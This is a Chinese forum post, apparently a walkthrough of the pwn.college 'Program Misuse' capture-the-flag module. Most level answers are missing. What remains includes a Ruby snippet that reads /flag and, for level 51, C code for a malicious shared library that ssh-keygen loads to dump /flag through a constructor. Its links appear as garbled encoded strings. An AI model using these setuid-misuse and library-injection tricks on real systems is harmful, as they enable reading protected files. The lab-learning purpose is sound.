-
-
[原创]二进制入门-程序误用(ASU CSE466: Computer Systems Security)
-
发表于:
2023-5-26 18:05
7341
-
[原创]二进制入门-程序误用(ASU CSE466: Computer Systems Security)
前言:
网上的二进制入门资源虽然有很多,但是梯度感觉变化太大,不太适合小白入门学习,这里分享一个国外的课程配套刷题网站,本文记录了第一个模块的题的通关记录以及值得记录的知识点,通过这个模块的学习,我们可以基本上能对Linux下的一些常用命令有些了解,在刷题的过程中我们也会对系统安全有了进一步的理解。
(ASU CSE466: Computer Systems Security)
Linux命令行:程序误用,程序交互
Shellcoding:汇编,shellcode注入,预防
逆向工程:功能框架,静态/动态逆向工具
程序利用:劫持到shellcode, JIT喷雾
系统开发:内核模块,权限升级
杂项:沙箱,内存错误,竞争条件
课程网站:5e7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3N6$3&6Q4x3X3g2U0L8$3I4D9k6h3N6W2i4K6u0r3

网站上是支持在线开启一个在线的容器,就是模拟出一个Linux系统,但是操作起来太卡,我们可以通过ssh的方式进行连接,首先生成自己的rsa_key,然后复制到网站上的个人信息一栏,就可以通过以下命令来进行连接了。
ssh -i key hacker@dojo.pwn.college

(2):5fbK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4N6r3k6G2j5X3W2F1M7#2)9J5k6h3N6A6N6r3S2#2j5W2)9J5k6h3W2G2i4K6u0r3k6%4c8X3L8$3u0A6L8Y4x3`.这个是一个可以查询Linux下命令存在危险行为的网站,网站里面有详细的介绍和利用,对于我们接下来的做题是很有用的.

Program Misuse:
level1:

level10:

level17

或许我们应该知道zcat这个命令:


level18:

At the begining,I try the command"bzcat":

Actually:

level19:

level20:
1 2 | - O:
Outputs the extracted content to standard output instead of extracting the file to disk.
|

level21:

我们应该创建静态库文件:

After:
1 2 | command:
p - print file (s) found in the archive
|

level22:

level23:

level24:



level25:

level26:


level27:


level28:

level29:

level30:

level31:

level32:


File read

更多的信息和介绍我们可以看这里:1c2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4N6r3k6G2j5X3W2F1M7#2)9J5k6h3N6A6N6r3S2#2j5W2)9J5k6h3W2G2i4K6u0r3k6%4c8X3L8$3u0A6L8Y4y4Q4x3V1k6K6L8$3y4S2N6q4)9J5c8R3`.`.
level33:


数字是窗口的大小,我们可以通过改变数字:


level34:


level35:


level36:



level37:



level38:


level39:

At first,I try:

正确的方法:(也许你应该了解“/dev/stdout”是什么。)

level40:

思路利用详解:
c6cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0k6h3c8A6N6h3#2Q4x3X3g2U0L8$3#2Q4x3V1k6%4L8%4u0C8K9h3&6V1K9h3q4Q4x3X3c8A6L8W2)9J5c8Y4c8Z5k6g2)9J5k6r3c8S2M7X3E0Q4x3X3c8K6K9h3c8W2i4K6u0V1L8$3k6Q4x3X3c8E0N6W2)9J5k6r3y4G2L8h3#2S2L8X3c8Q4x3X3b7K6y4o6p5&6j5K6q4T1k6o6j5I4z5b7`.`.
简介:我们可以通过交换“mv”和“cat”

level41:


“-n”选项逐行读取文件,“-e”选项在命令行上执行Perl代码
level42:


level43:

Owing to:

Attention:
我们可以在tmp目录下编写脚本:

So we can solve it by:

1 2 3 | content = File .read( "/flag" )
puts content
|
level44:



level45:



level46:


level47:


level48:



level49:


level50:

此方法不区分大小写,直接输出小写:


You will find the difference:

level51(Medium):


1 2 3 4 | - D pkcs11
Download the public keys provided by the PKCS
When used in combination with - s, this option indicates that
a CA key resides in a PKCS
|
共享库
我们创建了一个测试文件:test.c,得到:


We failed:

Attention:




1 2 3 4 5 6 7 8 | int main( int argc,char const * argv){
puts( "Hello" );
return 0 ;
}
int C_GetFunctionList(){
puts( "Hi" );
}
|

Exploit:
1 2 3 4 5 6 7 8 | int main( int argc,char const * argv){
puts( "Hello" );
return 0 ;
}
int C_GetFunctionList(){
sendfile( 1 , open ( "/flag" , 0 ), 0 , 4096 );
}
|
Or:
1 2 3 4 5 6 7 8 9 | int main( int argc,char const * argv){
puts( "Hello" );
return 0 ;
}
__attribute__((constructor))
int my_fun(){
sendfile( 1 , open ( "/flag" , 0 ), 0 , 4096 );
}
|
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2023-5-29 14:41
被SKY987451编辑
,原因: